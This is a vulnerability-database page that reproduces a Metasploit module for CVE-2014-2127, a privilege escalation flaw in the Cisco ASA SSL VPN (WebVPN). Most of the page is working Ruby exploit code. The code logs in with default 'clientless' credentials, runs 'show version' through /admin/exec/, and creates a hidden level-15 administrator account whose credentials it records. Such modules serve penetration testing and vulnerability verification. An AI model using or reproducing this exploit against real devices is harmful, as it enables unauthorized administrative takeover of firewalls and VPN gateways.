Lucene search
K

Cisco ASA SSL VPN Privilege Escalation Vulnerability

🗓️ 08 Jul 2014 01:00:43Reported by jclaudius <[email protected]>, lguay <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 118 Views

Cisco ASA SSL VPN Privilege Escalation Vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
Vulnerability of Cisco ASA software, allowing attackers to increase their privileges
6 Jul 201600:00
bdu_fstec
Circl
CVE-2014-2127
29 May 201815:50
circl
Tenable Nessus
Cisco ASA Software Multiple Vulnerabilities (cisco-sa-20140409-asa)
15 Apr 201400:00
nessus
CVE
CVE-2014-2127
10 Apr 201401:00
cve
Cvelist
CVE-2014-2127
10 Apr 201401:00
cvelist
Nmap
http-vuln-cve2014-2127 NSE Script
26 May 201401:28
nmap
NVD
CVE-2014-2127
10 Apr 201404:34
nvd
Packet Storm
Cisco ASA SSL VPN Privilege Escalation
1 Sep 202400:00
packetstorm
Prion
Information disclosure
10 Apr 201404:34
prion
Positive Technologies
PT-2014-1311 · Cisco · Cisco Asa
9 Apr 201400:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability',
      'Description' => %q{
        This module exploits a privilege escalation vulnerability for Cisco
        ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
        level 15.
      },
      'Author'       =>
        [
          'jclaudius <jclaudius[at]trustwave.com>',
          'lguay <laura.r.guay[at]gmail.com>'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-2127'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
          ['URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18908']
        ],
      'DisclosureDate' => '2014-04-09',
      'DefaultOptions' => { 'SSL' => true }
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
        OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
        OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),
        OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10])
      ], self.class
    )

  end

  def validate_cisco_ssl_vpn
    begin
      res = send_request_cgi(
              'uri' => '/',
              'method' => 'GET'
            )

      vprint_good("Server is responsive")
    rescue ::Rex::ConnectionError, ::Errno::EPIPE
      return false
    end

    res = send_request_cgi(
            'uri' => '/+CSCOE+/logon.html',
            'method' => 'GET'
          )

    if res &&
       res.code == 302

      res = send_request_cgi(
              'uri' => '/+CSCOE+/logon.html',
              'method' => 'GET',
              'vars_get' => { 'fcadbadd' => "1" }
            )
    end

    if res &&
       res.code == 200 &&
       res.body.include?('webvpnlogin')
      return true
    else
      return false
    end
  end

  def do_logout(cookie)
    res = send_request_cgi(
            'uri' => '/+webvpn+/webvpn_logout.html',
            'method' => 'GET',
            'cookie' => cookie
          )

    if res &&
       res.code == 200
      vprint_good("Logged out")
    end
  end

  def run_command(cmd, cookie)
    reformatted_cmd = cmd.gsub(/ /, "+")

    res = send_request_cgi(
            'uri'       => "/admin/exec/#{reformatted_cmd}",
            'method'    => 'GET',
            'cookie'    => cookie
          )

    res
  end

  def do_show_version(cookie, tries = 3)
    # Make up to three attempts because server can be a little flaky
    tries.times do |i|
      command = "show version"
      resp = run_command(command, cookie)

      if resp &&
         resp.body.include?('Cisco Adaptive Security Appliance Software Version')
        return resp.body
      else
        vprint_error("Unable to run '#{command}'")
        vprint_good("Retrying #{i} '#{command}'") unless i == 2
      end
    end

    return nil
  end

  def add_user(cookie, tries = 3)
    username = Rex::Text.rand_text_alpha_lower(8)
    password = Rex::Text.rand_text_alphanumeric(20)

    tries.times do |i|
      vprint_good("Attempting to add User: #{username}, Pass: #{password}")
      command = "username #{username} password #{password} privilege 15"
      resp = run_command(command, cookie)

      if resp &&
         !resp.body.include?('Command authorization failed') &&
         !resp.body.include?('Command failed')
        vprint_good("Privilege Escalation Appeared Successful")
        return [username, password]
      else
        vprint_error("Unable to run '#{command}'")
        vprint_good("Retrying #{i} '#{command}'") unless i == tries - 1
      end
    end

    return nil
  end

  def do_login(user, pass, group)
    begin
      cookie = "webvpn=; " +
               "webvpnc=; " +
               "webvpn_portal=; " +
               "webvpnSharePoint=; " +
               "webvpnlogin=1; " +
               "webvpnLang=en;"

      post_params = {
        'tgroup' => '',
        'next' => '',
        'tgcookieset' => '',
        'username' => user,
        'password' => pass,
        'Login' => 'Logon'
      }

      post_params['group_list'] = group unless group.empty?

      resp = send_request_cgi(
              'uri' => '/+webvpn+/index.html',
              'method'    => 'POST',
              'ctype'     => 'application/x-www-form-urlencoded',
              'cookie'    => cookie,
              'vars_post' => post_params
            )

      if resp &&
         resp.code == 200 &&
         resp.body.include?('SSL VPN Service') &&
         resp.body.include?('webvpn_logout')

        vprint_good("Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
        return resp.get_cookies
      else
        return false
      end

    rescue ::Rex::ConnectionError, ::Errno::EPIPE
      return false
    end
  end

  def run_host(ip)
    # Validate we're dealing with Cisco SSL VPN
    unless validate_cisco_ssl_vpn
      vprint_error("Does not appear to be Cisco SSL VPN")
      return
    end

    # This is crude, but I've found this to be somewhat
    # interimittent based on session, so we'll just retry
    # 'X' times.
    datastore['RETRIES'].times do |i|
      vprint_good("Exploit Attempt ##{i}")

      # Authenticate to SSL VPN and get session cookie
      cookie = do_login(
                 datastore['USERNAME'],
                 datastore['PASSWORD'],
                 datastore['GROUP']
               )

      # See if our authentication attempt failed
      unless cookie
        vprint_error("Failed to login to Cisco SSL VPN")
        next
      end

      # Grab version
      version = do_show_version(cookie)

      if version &&
         version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
        print_good("Show version succeeded. Version is Cisco ASA #{version_match[1]}")
      else
        do_logout(cookie)
        vprint_error("Show version failed")
        next
      end

      # Attempt to add an admin user
      creds = add_user(cookie)
      do_logout(cookie)

      if creds
        print_good("Successfully added level 15 account #{creds.join(", ")}")
        user, pass = creds
        report_escalated_creds(user, pass)
      else
        vprint_error("Failed to created user account on Cisco SSL VPN")
      end
    end
  end

  def report_escalated_creds(username, password)
    status = Metasploit::Model::Login::Status::SUCCESSFUL

    service_data = {
        address: rhost,
        port: rport,
        service_name: 'https',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        origin_type: :service,
        module_fullname: self.fullname,
        private_type: :password,
        private_data: password,
        username: username
    }

    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)
    login_data = {
        core: credential_core,
        access_level: 'Level 15',
        status: status,
        last_attempted_at: DateTime.now
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation